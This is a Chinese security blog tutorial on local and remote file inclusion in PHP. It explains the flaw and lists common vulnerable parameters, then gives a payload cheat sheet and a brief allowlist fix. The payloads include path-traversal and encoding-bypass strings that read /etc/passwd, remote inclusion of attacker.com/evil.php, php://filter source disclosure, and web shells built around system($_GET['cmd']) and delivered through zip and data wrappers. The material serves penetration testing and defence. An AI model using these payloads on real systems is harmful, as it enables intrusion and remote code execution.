本地文件包含 (LFI) 和远程文件包含 (RFI)

admin 2023年3月17日11:26:03评论91 views字数 4581阅读15分16秒阅读模式

本地文件包含 (LFI) 和远程文件包含 (RFI)

本地文件包含 (LFI) 漏洞利用

        本地文件包含漏洞利用(也称为 LFI)是通过利用应用程序中实施的易受攻击的包含过程来包含服务器本地已经存在的文件的过程。例如,当页面接收到必须包含的文件的路径作为输入,并且此输入未正确清理时,就会发生此漏洞,从而允许注入目录遍历字符(例如点-点-斜线) . 尽管大多数示例都指向易受攻击的 PHP 脚本,但我们应该记住,它在 JSP、ASP 等其他技术中也很常见。


远程文件包含 (RFI)

        远程文件包含(也称为 RFI)是通过利用应用程序中实施的易受攻击的包含程序来包含远程文件的过程。例如,当页面接收到必须包含的文件的路径作为输入,并且此输入未正确清理,从而允许注入外部 URL 时,就会发生此漏洞。


文件包含的影响

这可能导致输出文件内容,但根据严重程度,它也可能导致:

在 Web 服务器上执行代码在客户端执行代码(例如可能导致其他攻击的 JavaScript,例如跨站脚本 (XSS)拒绝服务 (DoS)敏感信息披露


http://vulnerable-website/file.php?file=index.php

        由于我们看到参数 'file' 调用服务器上的另一个文件,我们可以尝试从服务器读取任意文件。为了这个例子,我们将调用:/etc/passwd 文件。

http://vulnerable-website/file.php?file=../../../../etc/passwd

      如果应用程序没有过滤被调用的文件,并且存在漏洞,那么 /etc/passwd 文件内容将在响应中返回。

root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologin

没有对被调用文件进行过滤的原因是 file.php 文件内容中缺少输入验证。文件参数基于以下 PHP 代码运行,允许读取服务器中任意文件的内容。

<?php include($_GET[‘file’].”.php”); ?>

LFI 最常见的测试参数如下:

catdiractionboarddatedetailfiledownloadpathfolderprefixincludepage------------------------------------------------------------------inclocateshowdocsitetypeviewcontentdocumentlayoutmodconf


备忘录

Basics:http://vulnerable-site.com/index.php?page=../../../etc/passwdhttp://vulnerable-site.com/index.php?page=....//....//....//etc/passwdhttp://vulnerable-site.com/index.php?page=..../..../..../etc/passwdhttp://vulnerable-site.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd--------------------------------------------------------------------Null Byte Injection:http://vulnerable-site.com/index.php?page=../../../etc/passwd%00--------------------------------------------------------------------Encoding:http://vulnerable-site.com/index.php?page=..%252f..%252f..%252fetc%252fpasswdhttp://vulnerable-site.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswdhttp://vulnerable-site.com/index.php?page=%252e%252e%252fetc%252fpasswdhttp://vulnerable-site.com/index.php?page=%252e%252e%252fetc%252fpasswd%00--------------------------------------------------------------------From an Existent Folder:http://vulnerable-site.com/index.php?page=utils/scripts/../../../../../etc/passwd--------------------------------------------------------------------Path Truncation:http://vulnerable-site.com/index.php?page=a/../../../../../../../../../etc/passwd............[ADD MORE]..http://vulnerable-site.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.http://vulnerable-site.com/index.php?page=a/./.[ADD MORE]/etc/passwdhttp://vulnerable-site.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd--------------------------------------------------------------------Filter Bypass: http://vulnerable-site.com/index.php?page=....//....//etc/passwdhttp://vulnerable-site.com/index.php?page=..///////..////..//////etc/passwdhttp://vulnerable-site.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd http://vulnerable-site.com/index.php?page=/var/www/../../etc/passwd--------------------------------------------------------------------RFI:http://vulnerable-site.com/index.php?page=http://atacker.com/evil.phphttp://vulnerable-site.com/index.php?page=\attacker.comevil.php--------------------------------------------------------------------PHP Wrappers: filterhttp://vulnerable-site.com/index.php?page=php://filter/read=string.rot13/resource=index.phphttp://vulnerable-site.com/index.php?page=php://filter/convert.base64-encode/resource=index.phphttp://vulnerable-site.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php--------------------------------------------------------------------PHP wrapper: zlibhttp://vulnerable-site.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd--------------------------------------------------------------------PHP wrapper: ZIPecho “<pre><?php system($_GET[‘cmd’]); ?></pre>” > payload.php;zip payload.zip payload.php;mv payload.zip shell.jpg;rm payload.phphttp://vulnerable-site.com/index.php?page=zip://shell.jpg%23payload.php--------------------------------------------------------------------PHP wrapper: Datahttp://vulnerable-site.com/?page=data://text/plain,<?php echo base64_encode(file_get_contents(“index.php”)); ?>http://vulnerable-site.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=The payload: “<?php system($_GET[‘cmd’]);”--------------------------------------------------------------------

修复方案

        消除文件包含漏洞的最有效解决方案是避免将用户提交的输入传递给任何文件系统/框架 API。如果这是不可能的,应用程序可以维护一个允许的文件列表,该列表可能包含在页面中,然后使用标识符(例如索引号)来访问选定的文件。任何包含无效标识符的请求都必须被拒绝,这样恶意用户就没有攻击面来操纵路径。

原文始发于微信公众号(Khan安全攻防实验室):本地文件包含 (LFI) 和远程文件包含 (RFI)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日11:26:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   本地文件包含 (LFI) 和远程文件包含 (RFI)http://cn-sec.com/archives/1225997.html

发表评论

匿名网友 填写信息